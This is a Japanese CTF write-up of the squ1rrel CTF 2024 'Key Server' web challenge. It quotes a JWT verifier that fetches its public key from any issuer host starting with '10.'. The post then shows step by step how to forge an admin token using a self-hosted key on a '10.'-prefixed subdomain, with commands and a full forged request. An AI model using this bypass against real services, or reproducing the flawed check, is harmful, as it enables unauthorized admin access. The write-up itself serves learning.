はまやんはまやんはまやん

hamayanhamayan's blog

squ1rrel CTF 2024 Writeups

https://ctftime.org/event/2370

web/Key Server

ソースコード有り。JWTトークンを検証してadmin判定をするサーバが与えられる。tokenの検証方法が特殊で以下のように行っている。

const verifyToken = async (req, res, next) => {
    const token = req.cookies["token"];
    if (!token) {
        return res.status(401).send("Token cookie missing");
    }

    const { header } = jwt.decode(token, { complete: true });
    if (!header?.issuer || !header?.alg) {
        return res.status(401).send("Headers missing");
    }

    let issuer;
    try {
        issuer = new URL(header.issuer);
    } catch (e) {
        return res.status(401).send("Failed to parse URL");
    }

    if (!issuer.host.startsWith("10.")) {
        return res.status(401).send("Invalid IP address");
    }

    // fetch public key from local key server
    let publicKey;
    try {
        publicKey = await (await fetch(header.issuer)).text();
    } catch (e) {
        return res.status(401).send("Failed to get public key");
    }

    try {
        const verified = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
        if (!verified) {
            return res.status(401).send("Invalid token");
        }
        
        if (verified.user === "admin") {
            return next();
        } else {
            res.status(401).send("Not admin!");
        }
    } catch (e) {
        res.status(401).send("Verification error");
    }
};

注目すべきはif (!issuer.host.startsWith("10.")) {の部分でホスト部10.から始まっていれば信頼して公開鍵を検証用に取得しに行っている部分である。Private IPアドレスを想定しているのだろうが、サブドメインでも似たような形が取れる。なので、10.から始まるサブドメインを取得して、自作の公開鍵をホストし、その公開鍵での検証を強制させることにする。攻撃手順は以下。

  1. openssl genrsa -out private_key.pem 4096 && openssl rsa -in private_key.pem -pubout -out public_key.pemでキーペアを作る
  2. 公開鍵を配布するサーバを用意する(自分はこういうときはいつもconoha)
  3. public_key.pemを置いて、webサーバとして公開する(python3 -m http.server 80で十分)
  4. 10.hamayanhamayan.com A [webサーバのIPアドレス]みたいにDNSレコードを用意する
  5. jwtを作る。Headerは{"alg": "RS256", "typ": "JWT", "issuer":"http://10.hamayanhamayan.com/public_key.pem"}で、Payloadは{"user":"admin"}、手順1で作った秘密鍵で署名をする
  6. 最後は以下のようにリクエストすればフラグが得られる。
GET /admin HTTP/1.1
Host: [redacted]
Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImlzc3VlciI6Imh0dHA6Ly8xMC5oYW1heWFuaGFtYXlhbi5jb20vcHVibGljX2tleS5wZW0ifQ.eyJ1c2VyIjoiYWRtaW4ifQ.QYeI_d8xWgk0A2GTe6_PlgdcISb8aDHRR0GfkwMzmJfqzv6Xgi3L4fg7cIkxRJMGnpWD7u8HYW0Msj5bi68vIAaQf1kdZx_6AW3ltQFB_i7dZ9Cw-P-WESXv73YQ9XYdc0eKxeUwPURJv3EDrbfZXOT1y3JaTp72eKginHV8_3UbYp-tTsWiRFX0DbeQCfXxePkyjaXy5AbC9qSD2NcCYAZ7O-RKklq7R96gO3VpYzLt56DtMPfEv3co03diE4IjRk36sVXcC_vAKSe3OpJtUJ_iAfhvgpebKZncsSDLealMJe4Z1ZMG32zWra2jpaPnFY0gqCVetkAmTmKp4pqrV5xj8xGiQzxDQcW_jssT1ZiF4MrePsy-gMVmtQ5FTWRJUxFaszssb0PfTKz9uXZ4JMIFcWi-Ybma1tkL5DO_clYZKS4jWZmAai0Yp0K4ZEfRZ7XwTnTBtpPj94h52jd2U-CPqVZAGw3-mNrrV_zwD-hYsETPTOkAJ5sXgXbG20eA8f69QkMz7U7vaTnVcL7MRx6rJuijHffjYFugEcDkZTj5ElROdHl2z0_KH8kCAQ3-91BM6DkDVzs_3bNpbbA0TY_018gwuPbO2ApGRjaRzcZKDxpfretnrT4gfG0CGT1PcF8c87ANq5lyNkWCzBGEg2lDJy5EhuK3svcrzKQOoPg